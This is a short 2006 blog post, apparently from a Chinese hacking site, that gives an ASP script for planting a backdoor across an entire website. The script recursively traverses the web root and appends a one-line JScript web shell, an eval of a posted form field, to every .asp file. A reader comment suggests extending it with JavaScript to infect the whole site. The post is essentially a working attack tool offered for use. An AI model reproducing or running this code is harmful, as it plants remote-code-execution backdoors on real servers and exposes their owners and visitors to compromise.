2006-09-23 17:33:52 by: h4x0r

FSO遍历目录实现全站插马

Font Size: Large | Medium | Small
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
 Set FSO = CreateObject("Scripting.FileSystemObject")
 on error resume next
 Set f = FSO.GetFolder(Path)
 Set fc2 = f.files
 For Each myfile in fc2
 
 If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
 Set FS1 = CreateObject("Scripting.FileSystemObject")
 Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
 tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
 else
 InsertAllFiles(newpath)
 end if
 tfile.close
 Next
 Set fsubfolers = f.SubFolders
 For Each f1 in fsubfolers
 newpath=path&""&f1.name
 InsertAllFiles(newpath)
 
 Next
 set tfile=nothing
 Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>
[Last Modified By h4x0r, at 2006-09-23 17:35:03]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=756

View Mode: Show All | Comments: 1 Trackbacks: 7 Toggle Order | Views: 849
Quote safer
[ 2006-09-30 13:52:37 ]
加個js 全站掛馬吧

國慶快樂

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code